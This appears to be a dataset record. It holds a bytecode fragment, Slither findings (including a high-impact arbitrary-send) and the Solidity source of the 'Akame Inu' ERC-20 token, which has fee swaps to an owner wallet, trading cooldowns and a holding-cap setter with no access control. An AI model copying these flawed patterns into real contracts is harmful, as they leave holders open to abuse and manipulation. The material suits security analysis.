373ffffffffffffffffffffffffffffffffffffffff16021790555080600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555081600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160046000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600c60146101000a81548160ff0219169083151502179055505050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b61165361180d565b73ffffffffffffffffffffffffffffffffffffffff16611671610c1f565b73ffffffffffffffffffffffffffffffffffffffff16146116c7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116be90613009565b60405180910390fd5b600a81111561170b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161170290613327565b60405180910390fd5b8060088190555050565b61171d61180d565b73ffffffffffffffffffffffffffffffffffffffff1661173b610c1f565b73ffffffffffffffffffffffffffffffffffffffff1614611791576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161178890613009565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611801576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117f8906133b9565b60405180910390fd5b61180a81612371565b50565b600033905090565b6001600c60166101000a81548160ff0219169083151502179055506000600267ffffffffffffffff81111561184d5761184c612ca9565b5b60405190808252806020026020018201604052801561187b5781602001602082028036833780820191505090505b509050308160008151811061189357611892613029565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561193a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061195e919061325f565b8160018151811061197257611971613029565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506119d930600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611a8e565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611a3d9594939291906134dc565b600060405180830381600087803b158015611a5757600080fd5b505af1158015611a6b573d6000803e3d6000fd5b50505050506000600c60166101000a81548160ff02191690831515021790555050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611afe576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611af5906135a8565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611b6e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b659061363a565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611c4c9190612c36565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611cc9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cc0906136cc565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611d39576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d309061375e565b60405180910390fd5b60008111611d7c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d73906137f0565b60405180910390fd5b600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611e09576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e00906138a8565b60405180910390fd5b6000600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611eaf5750600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611ec85750600c60159054906101000a900460ff16155b8015611f795750600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480611f785750600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b5b1561228d57600c60179054906101000a900460ff16611fcd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fc490613914565b60405180910390fd5b60019050600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614801561207c5750600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015612089575042600e54115b156120eb57600061209984610b46565b90506120cb60646120bd600568056bc75e2d6310000061243590919063ffffffff16565b6124b090919063ffffffff16565b6120de82856124fa90919063ffffffff16565b11156120e957600080fd5b505b600d5442141561214e576001600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b600061215930610b46565b9050600c60169054906101000a900460ff161580156121c65750600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b1561228b57600081111561228a5761222560646122176005612209600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610b46565b61243590919063ffffffff16565b6124b090919063ffffffff16565b8111156122805761227d606461226f6005612261600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610b46565b61243590919063ffffffff16565b6124b090919063ffffffff16565b90505b61228981611815565b5b5b505b61229984848484612558565b50505050565b60008383111582906122e7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122de9190612ae7565b60405180910390fd5b50600083856122f69190613934565b9050809150509392505050565b600060065482111561234a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612341906139da565b60405180910390fd5b600061235461272f565b905061236981846124b090919063ffffffff16565b915050919050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b60008083141561244857600090506124aa565b6000828461245691906139fa565b90508284826124659190613a83565b146124a5576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161249c90613b26565b60405180910390fd5b809150505b92915050565b60006124f283836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061275a565b905092915050565b60008082846125099190613162565b90508381101561254e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161254590613b92565b60405180910390fd5b8091505092915050565b8080612567576125666127bd565b5b600080600080612576876127df565b93509350935093506125d084600160008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461282e90919063ffffffff16565b600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061266583600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124fa90919063ffffffff16565b600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506126b181612878565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161270e9190612c36565b60405180910390a3505050508061272857612727612935565b5b5050505050565b600080600061273c612940565b9150915061275381836124b090919063ffffffff16565b9250505090565b600080831182906127a1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016127989190612ae7565b60405180910390fd5b50600083856127b09190613a83565b9050809150509392505050565b6000600854116127cc57600080fd5b6008546009819055506000600881905550565b6000806000806000806127f4876008546129a2565b91509150600061280261272f565b90506000806128128a85856129f5565b9150915081818686985098509850985050505050509193509193565b600061287083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061229f565b905092915050565b600061288261272f565b90506000612899828461243590919063ffffffff16565b90506128ed81600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124fa90919063ffffffff16565b600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b600954600881905550565b60008060006006549050600068056bc75e2d63100000905061297668056bc75e2d631000006006546124b090919063ffffffff16565b8210156129955760065468056bc75e2d6310000093509350505061299e565b81819350935050505b9091565b60008060006129cd60646129bf868861243590919063ffffffff16565b6124b090919063ffffffff16565b905060006129e4828761282e90919063ffffffff16565b905080829350935050509250929050565b6000806000612a0d848761243590919063ffffffff16565b90506000612a24858761243590919063ffffffff16565b90506000612a3b828461282e90919063ffffffff16565b9050828194509450505050935093915050565b600081519050919050565b600082825260208201905092915050565b60005b83811015612a88578082015181840152602081019050612a6d565b83811115612a97576000848401525b50505050565b6000601f19601f8301169050919050565b6000612ab982612a4e565b612ac38185612a59565b9350612ad3818560208601612a6a565b612adc81612a9d565b840191505092915050565b60006020820190508181036000830152612b018184612aae565b905092915050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000612b4882612b1d565b9050919050565b612b5881612b3d565b8114612b6357600080fd5b50565b600081359050612b7581612b4f565b92915050565b6000819050919050565b612b8e81612b7b565b8114612b9957600080fd5b50565b600081359050612bab81612b85565b92915050565b60008060408385031215612bc857612bc7612b13565b5b6000612bd685828601612b66565b9250506020612be785828601612b9c565b9150509250929050565b60008115159050919050565b612c0681612bf1565b82525050565b6000602082019050612c216000830184612bfd565b92915050565b612c3081612b7b565b82525050565b6000602082019050612c4b6000830184612c27565b92915050565b600080600060608486031215612c6a57612c69612b13565b5b6000612c7886828701612b66565b9350506020612c8986828701612b66565b9250506040612c9a86828701612b9c565b9150509250925092565b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b612ce182612a9d565b810181811067ffffffffffffffff82111715612d0057612cff612ca9565b5b80604052505050565b6000612d13612b09565b9050612d1f8282612cd8565b919050565b600067ffffffffffffffff821115612d3f57612d3e612ca9565b5b602082029050602081019050919050565b600080fd5b6000612d68612d6384612d24565b612d09565b90508083825260208201905060208402830185811115612d8b57612d8a612d50565b5b835b81811015612db45780612da08882612b66565b845260208401935050602081019050612d8d565b5050509392505050565b600082601f830112612dd357612dd2612ca4565b5b8135612de3848260208601612d55565b91505092915050565b600060208284031215612e0257612e01612b13565b5b600082013567ffffffffffffffff811115612e2057612e1f612b18565b5b612e2c84828501612dbe565b91505092915050565b600060208284031215612e4b57612e4a612b13565b5b6000612e5984828501612b66565b91505092915050565b6000612e6d82612b1d565b9050919050565b612e7d81612e62565b8114612e8857600080fd5b50565b600081359050612e9a81612e74565b92915050565b600060208284031215612eb657612eb5612b13565b5b6000612ec484828501612e8b565b91505092915050565b612ed681612bf1565b8114612ee157600080fd5b50565b600081359050612ef381612ecd565b92915050565b600060208284031215612f0f57612f0e612b13565b5b6000612f1d84828501612ee4565b91505092915050565b612f2f81612b3d565b82525050565b6000602082019050612f4a6000830184612f26565b92915050565b60008060408385031215612f6757612f66612b13565b5b6000612f7585828601612b66565b9250506020612f8685828601612b66565b9150509250929050565b600060208284031215612fa657612fa5612b13565b5b6000612fb484828501612b9c565b91505092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000612ff3602083612a59565b9150612ffe82612fbd565b602082019050919050565b6000602082019050818103600083015261302281612fe6565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061309282612b7b565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156130c5576130c4613058565b5b600182019050919050565b7f436f6e7472616374206d75737420626520696e697469616c697a65642066697260008201527f7374000000000000000000000000000000000000000000000000000000000000602082015250565b600061312c602283612a59565b9150613137826130d0565b604082019050919050565b6000602082019050818103600083015261315b8161311f565b9050919050565b600061316d82612b7b565b915061317883612b7b565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156131ad576131ac613058565b5b828201905092915050565b7f436f6e74726163742068617320616c7265616479206265656e20696e6974696160008201527f6c697a6564000000000000000000000000000000000000000000000000000000602082015250565b6000613214602583612a59565b915061321f826131b8565b604082019050919050565b6000602082019050818103600083015261324381613207565b9050919050565b60008151905061325981612b4f565b92915050565b60006020828403121561327557613274612b13565b5b60006132838482850161324a565b91505092915050565b60006040820190506132a16000830185612f26565b6132ae6020830184612f26565b9392505050565b7f5465616d206665652063616e6e6f74206265206c6172676572207468616e203160008201527f3025000000000000000000000000000000000000000000000000000000000000602082015250565b6000613311602283612a59565b915061331c826132b5565b604082019050919050565b6000602082019050818103600083015261334081613304565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b60006133a3602683612a59565b91506133ae82613347565b604082019050919050565b600060208201905081810360008301526133d281613396565b9050919050565b6000819050919050565b6000819050919050565b60006134086134036133fe846133d9565b6133e3565b612b7b565b9050919050565b613418816133ed565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b61345381612b3d565b82525050565b6000613465838361344a565b60208301905092915050565b6000602082019050919050565b60006134898261341e565b6134938185613429565b935061349e8361343a565b8060005b838110156134cf5781516134b68882613459565b97506134c183613471565b9250506001810190506134a2565b5085935050505092915050565b600060a0820190506134f16000830188612c27565b6134fe602083018761340f565b8181036040830152613510818661347e565b905061351f6060830185612f26565b61352c6080830184612c27565b9695505050505050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000613592602483612a59565b915061359d82613536565b604082019050919050565b600060208201905081810360008301526135c181613585565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000613624602283612a59565b915061362f826135c8565b604082019050919050565b6000602082019050818103600083015261365381613617565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b60006136b6602583612a59565b91506136c18261365a565b604082019050919050565b600060208201905081810360008301526136e5816136a9565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000613748602383612a59565b9150613753826136ec565b604082019050919050565b600060208201905081810360008301526137778161373b565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b60006137da602983612a59565b91506137e58261377e565b604082019050919050565b60006020820190508181036000830152613809816137cd565b9050919050565b7f596f7572206164647265737320686173206265656e206d61726b65642061732060008201527f6120626f742c20706c6561736520636f6e7461637420737461666620746f206160208201527f707065616c20796f757220636173652e00000000000000000000000000000000604082015250565b6000613892605083612a59565b915061389d82613810565b606082019050919050565b600060208201905081810360008301526138c181613885565b9050919050565b7f54726164696e6720686173206e6f7420796574206265656e206f70656e65642e600082015250565b60006138fe602083612a59565b9150613909826138c8565b602082019050919050565b6000602082019050818103600083015261392d816138f1565b9050919050565b600061393f82612b7b565b915061394a83612b7b565b92508282101561395d5761395c613058565b5b828203905092915050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b60006139c4602a83612a59565b91506139cf82613968565b604082019050919050565b600060208201905081810360008301526139f3816139b7565b9050919050565b6000613a0582612b7b565b9150613a1083612b7b565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615613a4957613a48613058565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000613a8e82612b7b565b9150613a9983612b7b565b925082613aa957613aa8613a54565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b6000613b10602183612a59565b9150613b1b82613ab4565b604082019050919050565b60006020820190508181036000830152613b3f81613b03565b9050919050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000613b7c601b83612a59565b9150613b8782613b46565b602082019050919050565b60006020820190508181036000830152613bab81613b6f565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212208efdf3c6ad1a01cb2fffcae7b71928fbfb42c15cca6d5e15056be4de657f79d564736f6c634300080a0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
8,831
0xc43c214584dF5FFa07814057425b6e6539b54349
// SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if(a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract Akame is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => User) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1e11 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; string private constant _name = unicode"Akame Inu"; string private constant _symbol = unicode"Akame Inu"; uint8 private constant _decimals = 9; uint256 private _taxFee = 1; uint256 private _teamFee = 10; uint256 private _feeRate = 11; uint256 private _feeMultiplier = 1000; uint256 private _launchTime; uint256 private _previousTaxFee = _taxFee; uint256 private _previousteamFee = _teamFee; uint256 private _maxBuyAmount; address payable private _FeeAddress; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private _cooldownEnabled = true; bool private inSwap = false; uint256 private buyLimitEnd; uint private holdingCapPercent = 3; struct User { uint256 buy; uint256 sell; bool exists; } event MaxBuyAmountUpdated(uint _maxBuyAmount); event CooldownEnabledUpdated(bool _cooldown); event FeeMultiplierUpdated(uint _multiplier); event FeeRateUpdated(uint _rate); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor (address payable FeeAddress) { _FeeAddress = FeeAddress; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[FeeAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if(_taxFee == 0 && _teamFee == 0) return; _previousTaxFee = _taxFee; _previousteamFee = _teamFee; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = _previousTaxFee; _teamFee = _previousteamFee; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if(from != owner() && to != owner()) { if(_cooldownEnabled) { if(!cooldown[msg.sender].exists) { cooldown[msg.sender] = User(0,0,true); } } if (to != uniswapV2Pair && to != address(this)) require(balanceOf(to) + amount <= _getMaxHolding(), "Max holding cap breached."); // buy if(from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) { require(tradingOpen, "Trading not yet enabled."); _teamFee = 10; if(_cooldownEnabled) { if(buyLimitEnd > block.timestamp) { require(amount <= _maxBuyAmount); require(cooldown[to].buy < block.timestamp, "Your buy cooldown has not expired."); cooldown[to].buy = block.timestamp + (45 seconds); } } if(_cooldownEnabled) { cooldown[to].sell = block.timestamp + (15 seconds); } } uint256 contractTokenBalance = balanceOf(address(this)); // sell if(!inSwap && from != uniswapV2Pair && tradingOpen) { _teamFee = 10; if(_cooldownEnabled) { require(cooldown[from].sell < block.timestamp, "Your sell cooldown has not expired."); } if(contractTokenBalance > 0) { if(contractTokenBalance > balanceOf(uniswapV2Pair).mul(_feeRate).div(100)) { contractTokenBalance = balanceOf(uniswapV2Pair).mul(_feeRate).div(100); } swapTokensForEth(contractTokenBalance); } uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){ takeFee = false; } _tokenTransfer(from,to,amount,takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _FeeAddress.transfer(amount); } function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private { if(!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if(!takeFee) restoreAllFee(); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if(rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function addLiquidity() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); _maxBuyAmount = 800000000 * 10**9; _launchTime = block.timestamp; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function openTrading() public onlyOwner { tradingOpen = true; buyLimitEnd = block.timestamp + (180 seconds); } function manualswap() external { require(_msgSender() == _FeeAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _FeeAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } // fallback in case contract is not releasing tokens fast enough function setFeeRate(uint256 rate) external { require(_msgSender() == _FeeAddress); require(rate < 51, "Rate can't exceed 50%"); _feeRate = rate; emit FeeRateUpdated(_feeRate); } function setCooldownEnabled(bool onoff) external onlyOwner() { _cooldownEnabled = onoff; emit CooldownEnabledUpdated(_cooldownEnabled); } function thisBalance() public view returns (uint) { return balanceOf(address(this)); } function cooldownEnabled() public view returns (bool) { return _cooldownEnabled; } function timeToBuy(address buyer) public view returns (uint) { return block.timestamp - cooldown[buyer].buy; } function timeToSell(address buyer) public view returns (uint) { return block.timestamp - cooldown[buyer].sell; } function amountInPool() public view returns (uint) { return balanceOf(uniswapV2Pair); } function _getMaxHolding() internal view returns (uint256) { return (totalSupply() * holdingCapPercent) / 100; } function _setMaxHolding(uint8 percent) external { require(percent > 0, "Max holding cap cannot be less than 1"); holdingCapPercent = percent; } }
